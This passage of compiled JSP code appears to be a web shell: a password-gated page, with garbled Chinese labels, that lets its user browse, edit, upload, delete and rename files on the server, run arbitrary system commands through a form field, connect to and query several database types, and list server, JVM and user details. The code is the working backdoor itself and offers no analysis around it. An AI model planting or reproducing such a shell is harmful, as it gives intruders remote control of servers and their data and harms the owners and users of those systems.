1;\r\n"); out.write("}\r\n"); out.write("\r\n"); out.write("td.datarows {\r\n"); out.write("\tfont-size: 14px;\r\n"); out.write("\tfont-family: å®?ä½?;\r\n"); out.write("\theight: 25px;\r\n"); out.write("}\r\n"); out.write("\r\n"); out.write("textarea {\r\n"); out.write("border: black solid 1;\r\n"); out.write("}\r\n"); out.write("</style>\r\n"); out.write("<script language=\"JavaScript\">\r\n"); out.write("<!--\r\n"); out.write("function ltrim(str) {\r\n"); out.write("\twhile (str.indexOf(0) == \" \")\r\n"); out.write("\t\tstr = str.substring(1);\r\n"); out.write("\t\t\r\n"); out.write("\treturn str;\r\n"); out.write("}\r\n"); out.write("\r\n"); out.write("function changeAction(obj) {\r\n"); out.write("\tobj.submit();\r\n"); out.write("}\r\n"); out.write("//-->\r\n"); out.write("</script>\r\n"); out.write("<body>\r\n"); session.setMaxInactiveInterval(_sessionOutTime * 60); session.setAttribute("password", _password); if (request.getParameter("password") == null && session.getAttribute("password") == null) { // show the login form //================================================================================================ out.write("\r\n"); out.write("<table align=\"center\" border=\"0\" width=\"250\" cellspacing=\"2\" cellpadding=\"1\">\r\n"); out.write("<form name=\"f1\" method=\"post\">\r\n"); out.write(" <tr>\r\n"); out.write(" <td align=\"center\" colspan=\"2\"><b> </b></td>\r\n"); out.write(" </tr>\r\n"); out.write(" <tr>\r\n"); out.write(" <td></td>\r\n"); out.write(" <td>\r\n"); out.write("\t\t<input type=\"password\" size=\"25\" name=\"password\" class=\"textbox\" />\r\n"); out.write("\t\t<input type=\"submit\" value=\"ok\" class=\"button\" />\r\n"); out.write(" </td>\r\n"); out.write(" </tr>\r\n"); out.write("</form>\r\n"); out.write("</table>\r\n"); //================================================================================================ // end of the login form } else { String password = null; if (session.getAttribute("password") == null) { password = (String)request.getParameter("password"); if (validate(password) == false) { out.println("<div align=\"center\"><font color=\"red\"><li>å¯?ç ?é??误!</font></div>"); out.close(); return; } session.setAttribute("password", password); } else { password = (String)session.getAttribute("password"); } String action = null; if (request.getParameter("action") == null) action = "command"; else action = (String)request.getParameter("action"); if (action.equals("exit")) { session.removeAttribute("password"); response.sendRedirect(request.getRequestURI()); out.close(); return; } // show the main menu //==================================================================================== out.write("\r\n"); out.write("<table align=\"center\" width=\"600\" border=\"0\" cellpadding=\"2\" cellspacing=\"0\">\r\n"); out.write("\t<form name=\"form1\" method=\"get\">\r\n"); out.write("\t<tr bgcolor=\"#CCCCCC\">\r\n"); out.write("\t\t<td id=\"title\"><!--[ç¨?åº?é¦?页]--></td>\r\n"); out.write("\t\t<td align=\"right\">\r\n"); out.write("\t\t\t<select name=\"action\" onChange=\"javascript:changeAction(document.form1)\">\r\n"); out.write("\t\t\t\t<option value=\"main\">ç¨?åº?é¦?页</option>\r\n"); out.write("\t\t\t\t<option value=\"filesystem\">æ??件系ç»?</option>\r\n"); out.write("\t\t\t\t<option value=\"command\">ç³»ç»?å?½ä»¤</option>\r\n"); out.write("\t\t\t\t<option value=\"database\">æ?°æ?®åº?</option>\r\n"); out.write("\t\t\t\t<option value=\"config\">ç¨?åº?é??ç½®</option>\r\n"); out.write("\t\t\t\t<option value=\"about\">å?³äº?ç¨?åº?</option>\r\n"); out.write("\t\t\t\t<option value=\"exit\">é??å?ºç¨?åº?</option>\r\n"); out.write("\t\t\t</select>\r\n"); out.write("<script language=\"JavaScript\">\r\n"); out.println("var action = \"" + action + "\""); out.write("\r\n"); out.write("var sAction = document.form1.action;\r\n"); out.write("for (var i = 0; i < sAction.length; i ++) {\r\n"); out.write("\tif (sAction[i].value == action) {\r\n"); out.write("\t\tsAction[i].selected = true;\r\n"); out.write("\t\t//title.innerHTML = \"[\" + sAction[i].innerHTML + \"]\";\r\n"); out.write("\t}\r\n"); out.write("}\r\n"); out.write("</script>\r\n"); out.write("\t\t</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t</form>\r\n"); out.write("</table>\r\n"); //===================================================================================== // end of main menu if (action.equals("main")) { // print the system info table //======================================================================================= out.write("\r\n"); out.write("<table align=\"center\" width=\"600\" cellpadding=\"2\" cellspacing=\"1\" border=\"0\" bgcolor=\"#CCCCCC\">\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td colspan=\"2\" align=\"center\">æ??å?¡å?¨ä¿¡æ?¯</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">æ??å?¡å?¨å??</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(request.getServerName()); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">æ??å?¡å?¨ç«¯å?£</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(request.getServerPort()); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">æ??ä½?ç³»ç»?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">å½?å??ç?¨æ?·å??</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("user.name")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">å½?å??ç?¨æ?·ç?®å½?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("user.home")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">å½?å??ç?¨æ?·å·¥ä½?ç?®å½?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("user.dir")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">ç¨?åº?ç?¸å¯¹è·¯å¾?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(request.getRequestURI()); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">ç¨?åº?ç»?对路å¾?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(request.getRealPath(request.getServletPath())); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">ç½?ç»?å??è®®</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(request.getProtocol()); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">æ??å?¡å?¨è½¯ä»¶ç??æ?¬ä¿¡æ?¯</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(application.getServerInfo()); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">JDKç??æ?¬</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("java.version")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">JDKå®?è£?è·¯å¾?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("java.home")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">JAVAè??æ??æ?ºç??æ?¬</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("java.vm.specification.version")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">JAVAè??æ??æ?ºå??</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("java.vm.name")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">JAVA类路å¾?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("java.class.path")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">JAVAè½½å?¥åº?æ??索路å¾?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("java.library.path")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">JAVA临æ?¶ç?®å½?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("java.io.tmpdir")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">JITç¼?è¯?å?¨å??</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">æ?©å±?ç?®å½?è·¯å¾?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(System.getProperty("java.ext.dirs")); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td colspan=\"2\" align=\"center\">客æ?·ç«¯ä¿¡æ?¯</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">客æ?·æ?ºå?°å??</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(request.getRemoteAddr()); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">æ??å?¡æ?ºå?¨å??</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(request.getRemoteHost()); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">ç?¨æ?·å??</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(request.getRemoteUser() == null ? "" : request.getRemoteUser()); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">请æ±?æ?¹å¼?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(request.getScheme()); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\" class=\"datarows\">åº?ç?¨å®?å?¨å¥?æ?¥å?å±?</td>\r\n"); out.write("\t\t<td align=\"center\" class=\"datarows\">"); out.print(request.isSecure() == true ? "æ?¯" : "å?¦"); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("</table>\r\n"); //======================================================================================= // end of printing the system info table ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// } else if (action.equals("filesystem")) { String curPath = ""; String result = ""; String fsAction = ""; if (request.getParameter("curPath") == null) { curPath = request.getRealPath(request.getServletPath()); curPath = pathConvert((new File(curPath)).getParent()); } else { curPath = Unicode2GB((String)request.getParameter("curPath")); } if (request.getParameter("fsAction") == null) { fsAction = "list"; } else { fsAction = (String)request.getParameter("fsAction"); } if (fsAction.equals("list")) result = listFiles(curPath, request.getRequestURI() + "?action=" + action); else if (fsAction.equals("browse")) { result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); result += browseFile(curPath); } else if (fsAction.equals("open")) result = openFile(curPath, request.getRequestURI() + "?action=" + action); else if (fsAction.equals("save")) { if (request.getParameter("fileContent") == null) { result = "<font color=\"red\">页é?¢å¯¼è?ªé??误</font>"; } else { String fileContent = Unicode2GB((String)request.getParameter("fileContent")); result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); } } else if (fsAction.equals("createFolder")) { if (request.getParameter("folderName") == null) { result = "<font color=\"red\">ç?®å½?å??ä¸?è?½ä¸ºç©º</font>"; } else { String folderName = Unicode2GB(request.getParameter("folderName").trim()); if (folderName.equals("")) { result = "<font color=\"red\">ç?®å½?å??ä¸?è?½ä¸ºç©º</font>"; } else { result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); } } } else if (fsAction.equals("createFile")) { if (request.getParameter("fileName") == null) { result = "<font color=\"red\">æ??件å??ä¸?è?½ä¸ºç©º</font>"; } else { String fileName = Unicode2GB(request.getParameter("fileName").trim()); if (fileName.equals("")) { result = "<font color=\"red\">æ??件å??ä¸?è?½ä¸ºç©º</font>"; } else { result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); } } } else if (fsAction.equals("deleteFile")) { if (request.getParameter("filesDelete") == null) { result = "<font color=\"red\">没æ??é??æ?©è¦?å? é?¤ç??æ??件</font>"; } else { String[] files2Delete = (String[])request.getParameterValues("filesDelete"); if (files2Delete.length == 0) { result = "<font color=\"red\">没æ??é??æ?©è¦?å? é?¤ç??æ??件</font>"; } else { for (int n = 0; n < files2Delete.length; n ++) { files2Delete[n] = Unicode2GB(files2Delete[n]); } result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); } } } else if (fsAction.equals("saveAs")) { if (request.getParameter("fileContent") == null) { result = "<font color=\"red\">页é?¢å¯¼è?ªé??误</font>"; } else { String fileContent = Unicode2GB(request.getParameter("fileContent")); result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); } } else if (fsAction.equals("upload")) { result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); } else if (fsAction.equals("copyto")) { if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { result = "<font color=\"red\">没æ??é??æ?©è¦?å¤?å?¶ç??æ??件</font>"; } else { String[] files2Copy = request.getParameterValues("filesDelete"); String dstPath = request.getParameter("dstPath").trim(); if (files2Copy.length == 0) { result = "<font color=\"red\">没æ??é??æ?©è¦?å¤?å?¶ç??æ??件</font>"; } else if (dstPath.equals("")) { result = "<font color=\"red\">没æ??å¡«å??è¦?å¤?å?¶å?°ç??ç?®å½?è·¯å¾?</font>"; } else { for (int i = 0; i < files2Copy.length; i ++) files2Copy[i] = Unicode2GB(files2Copy[i]); result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); } } } else if (fsAction.equals("rename")) { if (request.getParameter("fileRename") == null) { result = "<font color=\"red\">页é?¢å¯¼è?ªé??误</font>"; } else { String file2Rename = request.getParameter("fileRename").trim(); String newName = request.getParameter("newName").trim(); if (file2Rename.equals("")) { result = "<font color=\"red\">没æ??é??æ?©è¦?é??å?½å??ç??æ??件</font>"; } else if (newName.equals("")) { result = "<font color=\"red\">没æ??å¡«å??æ?°æ??件å??</font>"; } else { result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); } } } out.write("\r\n"); out.write("<table align=\"center\" width=\"600\" border=\"0\" cellpadding=\"2\" cellspacing=\"1\" bgcolor=\"#CCCCCC\">\r\n"); out.write("\t<form method=\"post\" name=\"form2\" action=\""); out.print( request.getRequestURI() + "?action=" + action); out.write("\">\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">å?°å?? <input type=\"text\" size=\"80\" name=\"curPath\" class=\"textbox\" value=\""); out.print(curPath); out.write("\" />\r\n"); out.write("\t\t\t\t\t\t\t\t\t\t\t <input type=\"submit\" value=\"转å?°\" class=\"button\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t</form>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td>"); out.print( result.trim().equals("")?" " : result); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("</table>\r\n"); ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// } else if (action.equals("command")) { String cmd = ""; InputStream ins = null; String result = ""; if (request.getParameter("command") != null) { cmd = (String)request.getParameter("command"); result = exeCmd(cmd); } // print the command form //======================================================================================== out.write("\r\n"); out.write("<table border=\"0\" width=\"600\" cellpadding=\"2\" cellspacing=\"1\" bgcolor=\"#CCCCCC\" align=\"center\">\r\n"); out.write("\t<form name=\"form2\" method=\"post\" action=\""); out.print(request.getRequestURI() + "?action=" + action); out.write("\">\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">æ?§è¡?å?½ä»¤</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">\r\n"); out.write("\t\t\t<input type=\"text\" class=\"textbox\" size=\"80\" name=\"command\" value=\""); out.print(cmd); out.write("\" />\r\n"); out.write("\t\t\t<input type=\"submit\" class=\"button\" value=\"æ?§è¡?\" />\r\n"); out.write("\t\t</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">æ?§è¡?ç»?æ??</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t</form>\r\n"); out.write("</table>\r\n"); out.write("<table align=\"center\" width=\"600\" border=\"0\">\r\n"); out.write("\t<tr>\r\n"); out.write("\t\t<td>"); out.print(result == "" ? " " : result); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("</table>\r\n"); //========================================================================================= // end of printing command form /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// } else if (action.equals("database")) { String dbAction = ""; String result = ""; String dbType = ""; String dbServer = ""; String dbPort = ""; String dbUsername = ""; String dbPassword = ""; String dbName = ""; String dbResult = ""; String sql = ""; if (request.getParameter("dbAction") == null) { dbAction = "main"; } else { dbAction = request.getParameter("dbAction").trim(); if (dbAction.equals("")) dbAction = "main"; } if (dbAction.equals("main")) { result = " "; } else if (dbAction.equals("dbConnect")) { if (request.getParameter("dbType") == null || request.getParameter("dbServer") == null || request.getParameter("dbPort") == null || request.getParameter("dbUsername") == null || request.getParameter("dbPassword") == null || request.getParameter("dbName") == null) { response.sendRedirect(request.getRequestURI() + "?action=" + action); } else { dbType = request.getParameter("dbType").trim(); dbServer = request.getParameter("dbServer").trim(); dbPort = request.getParameter("dbPort").trim(); dbUsername = request.getParameter("dbUsername").trim(); dbPassword = request.getParameter("dbPassword").trim(); dbName = request.getParameter("dbName").trim(); if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) { if (DBConnect(dbUsername, dbPassword)) { if (request.getParameter("sql") != null) { sql = request.getParameter("sql").trim(); if (! sql.equals("")) { dbResult = DBExecute(sql); } } result = "<script language=\"javascript\">\n"; result += "<!--\n"; result += "function exeSql() {\n"; result += " if (ltrim(document.dbInfo.sql.value) != \"\")\n"; result += " document.dbInfo.submit();"; result += "}\n"; result += "\n"; result += "function resetIt() {\n"; result += " document.dbInfo.sql.value = \"\";"; result += "}\n"; result += "//-->\n"; result += "</script>\n"; result += "sqlè¯å?¥<br/><textarea name=\"sql\" cols=\"70\" rows=\"6\">" + sql + "</textarea><br/><input type=\"submit\" class=\"button\" onclick=\"javascript:exeSql()\" value=\"æ?§è¡?\"/> <input type=\"reset\" class=\"button\" onclick=\"javascript:resetIt()\" value=\"æ¸?空\"/>\n"; DBRelease(); } else { result = "<font color=\"red\">æ?°æ?®åº?è¿?æ?¥å¤±è´¥</font>"; } } else { result = "<font color=\"red\">æ?°æ?®åº?è¿?æ?¥é©±å?¨æ²¡æ??æ?¾å?°</font>"; } } } out.write("\r\n"); out.write("<script language=\"javascript\">\r\n"); out.write("<!--\r\n"); out.println("var selectedType = \"" + dbType + "\";"); out.write("\r\n"); out.write("//-->\r\n"); out.write("</script>\r\n"); out.write("<table align=\"center\" width=\"600\" border=\"0\" cellpadding=\"2\" cellspacing=\"1\" bgcolor=\"#CCCCCC\">\r\n"); out.write("\t<form name=\"dbInfo\" method=\"post\" action=\""); out.print(request.getRequestURI() + "?action=" + action + "&dbAction=dbConnect"); out.write("\">\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td width=\"300\" align=\"center\">æ?°æ?®åº?è¿?æ?¥ç±»å??</td>\r\n"); out.write("\t\t<td align=\"center\">\r\n"); out.write("\t\t\t<select name=\"dbType\">\r\n"); out.write("\t\t\t\t<option value=\"sqlserver\">SQLServeræ?°æ?®åº?</option>\r\n"); out.write("\t\t\t\t<option value=\"mysql\">MySqlæ?°æ?®åº?</option>\r\n"); out.write("\t\t\t\t<option value=\"oracle\">Oracleæ?°æ?®åº?</option>\r\n"); out.write("\t\t\t\t<option value=\"db2\">DB2æ?°æ?®åº?</option>\r\n"); out.write("\t\t\t\t<option value=\"odbc\">ODBCæ?°æ?®æº?</option>\r\n"); out.write("\t\t\t</select>\r\n"); out.write("\t\t\t<script language=\"javascript\">\r\n"); out.write("\t\t\tfor (var i = 0; i < document.dbInfo.dbType.options.length; i ++) {\r\n"); out.write("\t\t\t\tif (document.dbInfo.dbType.options[i].value == selectedType) {\r\n"); out.write("\t\t\t\t\tdocument.dbInfo.dbType.options[i].selected = true;\r\n"); out.write("\t\t\t\t}\r\n"); out.write("\t\t\t}\r\n"); out.write("\t\t\t</script>\r\n"); out.write("\t\t</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">æ?°æ?®åº?æ??å?¡å?¨å?°å??</td>\r\n"); out.write("\t\t<td align=\"center\"><input type=\"text\" name=\"dbServer\" class=\"textbox\" value=\""); out.print(dbServer); out.write("\" style=\"width:150px;\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">æ?°æ?®åº?æ??å?¡å?¨ç«¯å?£</td>\r\n"); out.write("\t\t<td align=\"center\"><input type=\"text\" name=\"dbPort\" class=\"textbox\" value=\""); out.print(dbPort); out.write("\" style=\"width:150px;\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">æ?°æ?®åº?ç?¨æ?·å??</td>\r\n"); out.write("\t\t<td align=\"center\"><input type=\"text\" name=\"dbUsername\" class=\"textbox\" value=\""); out.print(dbUsername); out.write("\" size=\"20\" style=\"width:150px;\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">æ?°æ?®åº?å¯?ç ?</td>\r\n"); out.write("\t\t<td align=\"center\"><input type=\"password\" name=\"dbPassword\" class=\"textbox\" value=\""); out.print(dbPassword); out.write("\" size=\"20\" style=\"width:150px;\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">æ?°æ?®åº?å??</td>\r\n"); out.write("\t\t<td align=\"center\"><input type=\"text\" name=\"dbName\" class=\"textbox\" value=\""); out.print(dbName); out.write("\" size=\"20\" style=\"width:150px;\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\" colspan=\"2\"><input type=\"submit\" value=\"è¿?æ?¥\" class=\"button\" /> <input type=\"reset\" value=\"é??ç½®\" class=\"button\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\" colspan=\"2\">"); out.print(result); out.write("</td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t</form>\r\n"); out.write("</table>\r\n"); out.write("<table align=\"center\" width=\"100%\" border=\"0\">\r\n"); out.write("\t<tr>\r\n"); out.write("\t\t<td align=\"center\">\r\n"); out.write("\t\t\t"); out.print(dbResult); out.write("\r\n"); out.write("\t\t</td>\r\n"); out.write("\t</tr>\r\n"); out.write("</table>\r\n"); //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// } else if (action.equals("config")) { String cfAction = ""; int i; if (request.getParameter("cfAction") == null) { cfAction = "main"; } else { cfAction = request.getParameter("cfAction").trim(); if (cfAction.equals("")) cfAction = "main"; } if (cfAction.equals("main")) { // start of config form //========================================================================================== out.write("\r\n"); out.write("<script language=\"javascript\">\r\n"); out.write("<!--\r\n"); out.write("function delFileType() {\r\n"); out.write("\tdocument.config.newType.value = document.config.textFileTypes[document.config.textFileTypes.selectedIndex].value;\r\n"); out.write("\tdocument.config.textFileTypes.options.remove(document.config.textFileTypes.selectedIndex);\r\n"); out.write("}\r\n"); out.write("\r\n"); out.write("function addFileType() {\r\n"); out.write("\tif (document.config.newType.value != \"\") {\r\n"); out.write("\t\tvar oOption = document.createElement(\"OPTION\");\r\n"); out.write("\t\tdocument.config.textFileTypes.options.add(oOption);\r\n"); out.write("\t\toOption.value = document.config.newType.value;\r\n"); out.write("\t\toOption.innerHTML = document.config.newType.value;\r\n"); out.write("\t}\r\n"); out.write("}\r\n"); out.write("\r\n"); out.write("function selectAllTypes() {\r\n"); out.write("\tfor (var i = 0; i < document.config.textFileTypes.options.length; i ++) {\r\n"); out.write("\t\tdocument.config.textFileTypes.options[i].selected = true;\r\n"); out.write("\t}\r\n"); out.write("}\r\n"); out.write("//-->\r\n"); out.write("</script>\r\n"); out.write("<table align=\"center\" width=\"600\" border=\"0\" cellpadding=\"2\" cellspacing=\"1\" bgcolor=\"#CCCCCC\">\r\n"); out.write("\t<form name=\"config\" method=\"post\" action=\""); out.print(request.getRequestURI() + "?action=config&cfAction=save"); out.write("\" onSubmit=\"javascript:selectAllTypes()\">\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\" width=\"200\">å¯?ç ?</td>\r\n"); out.write("\t\t<td><input type=\"text\" size=\"30\" name=\"password\" class=\"textbox\" value=\""); out.print(_password); out.write("\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">ç³»ç»?ç¼?ç ?</td>\r\n"); out.write("\t\t<td><input type=\"text\" size=\"30\" name=\"encode\" value=\""); out.print(_encodeType); out.write("\" class=\"textbox\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">Sessionè¶?æ?¶æ?¶é?´</td>\r\n"); out.write("\t\t<td><input type=\"text\" size=\"5\" name=\"sessionTime\" class=\"textbox\" value=\""); out.print(_sessionOutTime); out.write("\" /></td>\r\n"); out.write("\t</tr>\r\n"); out.write("\t<tr bgcolor=\"#FFFFFF\">\r\n"); out.write("\t\t<td align=\"center\">å?¯ç¼?è¾?æ??件类å??</td>\r\n"); out.write("\t\t<td>\r\n"); out.write("\t\t\t<table border=\"0\" width=\"190\" cellpadding=\"0\" cellspacing=\"0\">\r\n"); out.write("\t\t\t\t<tr>\r\n"); out.write("\t\t\t\t\t<td>\r\n"); out.write("\t\t\t\t\t\t<input type=\"text\" size=\"11\" class=\"textbox\" name=\"newType\" />\r\n"); out.write("\t\t\t\t\t</td>\r\n"); out.write("\t\t\t\t\t<td align=\"center\">\r\n"); out.write("\t\t\t\t\t\t<input type=\"button\" onClick=\"javascript:delFileType()\" value=\"<<\" class=\"button\" />\r\n"); out.write("\t\t\t\t\t\t<p></p>\r\n"); out.write("\t\t\t\t\t\t<input type=\"button\" value=\">>\" onClick=\"javascript:addFileType()\" class=\"button\" />\r\n"); out.write("\t\t\t\t\t</td>\r\n"); out.write("\t\t\t\t\t<td align=\"right\">\t\r\n"); out.write("\t\t\t\t\t\t<select name=\"textFileTypes\" size=\"4\" style=\"width: 87px\" multiple=\"true\"> \r\n"); for (i = 0; i < _textFileTypes.length; i ++) { out.write("\r\n"); 